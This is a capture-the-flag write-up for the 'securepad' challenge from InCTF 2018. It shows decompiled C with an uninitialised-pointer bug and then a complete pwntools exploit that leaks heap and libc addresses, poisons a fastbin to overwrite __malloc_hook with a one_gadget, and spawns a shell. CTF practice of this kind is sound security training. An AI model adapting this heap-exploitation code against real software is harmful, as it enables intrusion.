Inctf CTF 2018 secured Writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 delete()
{
void *ptr; // [rsp+10h] [rbp-20h]
unsigned __int64 i; // [rsp+18h] [rbp-18h]
__int64 idx; // [rsp+20h] [rbp-10h]

puts("Enter index");
idx = (signed int)get_int("Enter index");
for ( i = 0LL; i <= 9; ++i )
{
if ( i == idx )
{
ptr = *(void **)(8 * i + table);
break;
}
}
if ( ptr )
{
free(ptr);
*(_QWORD *)(8 * i + table) = 0LL;
}
return 0LL;
}

in delete function, when idx = 10, the pointer is not initialized.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125


#!/usr/bin/env python
# coding=utf-8

from pwn import *

context.terminal = ["tmux","splitw","-h"]

breakpoint = {
"add":0x555555555153,
"edit":0x555555555169,
"delete":0x55555555517F,
"view": 0x555555555195
}

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# io = process('./securepad', env = {'LD_PRELOAD' : './libc.so.6'})

io = process("./securepad")

def Auth(passwd):
io.sendlineafter("Enter password",str(passwd))


def Add(passwd,size,data):
io.recvuntil(">>>")
io.sendline("1")
Auth(passwd)
io.sendlineafter("Enter size",str(size))
sleep(0.5)
io.recvuntil("Enter data:")
io.send(str(data))

def Remove(passwd,idx):
io.sendlineafter(">>>","3")
Auth(str(passwd))
io.sendlineafter("Enter index",str(idx))



def View(passwd,idx):
io.readuntil(">>>")
io.sendline('4')
Auth(passwd)
io.sendlineafter("Enter index",str(idx))

def Edit(passwd,idx,data):
io.sendlineafter(">>>","2")
Auth(passwd)
io.sendlineafter("Enter index",str(idx))
sleep(0.5)
io.send(str(data))

Add("fuck",0x60,"AAAA") # idx = 0
Add("fuck",0x60,"BBBB") # idx = 1




Remove("fuck",1)
Remove("fuck",0)

# gdb.attach(io,'break *0x%x' % breakpoint['add'])

# raw_input('wait to debug')
Add("fuck",0x60,"A") # idx = 0


context.log_level = 'debug'
View("fuck",0)

heap_addr = u64(io.recv(6).ljust(8,'\x00'))
heap_addr = u64(io.recv(6).ljust(8,'\x00'))-0x41


log.success("leak heap addr:{}".format(hex(heap_addr)))

Add("fuck",32,"BBBB") # idx = 1



Edit("fuck",0,p64(0)+p64(0x91))

# sleep(1)

Add("fuck",0x60, p64(0) * 4 + p64(0) + p64(0x21) + p64(0) * 2 + p64(0) + p64(0x21))




Remove('\x00' * 0x3f0 + p64(heap_addr + 0x20),10) # why?
Edit("fuck",0,'A'*0x10)



sleep(1)
View('fuck',0)

print io.readuntil('A'*0x10)



libc_addr = u64(io.recv(6).ljust(8, '\x00')) - 3939072-88
log.success("leak libc base addr:{}".format(hex(libc_addr)))




malloc_hook = libc.symbols['__malloc_hook']
Remove('\x00' * 0x3f0 + p64(heap_addr + 0x10),10)
Edit('fuck',0, p64(libc_addr + malloc_hook - 0x23))

gdb.attach(io,'break *0x%x' % breakpoint['add'])
raw_input('wait to debug')
Add('fuck',0x60,'hack by swing') # split chunk -> fastbin list ,fastbin is "malloc_hook +23"
Add('fuck',0x60,'\x00' * 0x13 + p64(libc_addr + 0xf2519)) # malloc chunk in fastbins,and edit malloc -> one_gadget

Remove('fuck',0)
Remove('\x00' * 0x3f0 + p64(heap_addr + 0x10),10)


# Add("fuck",0x60,'fuck')

io.interactive()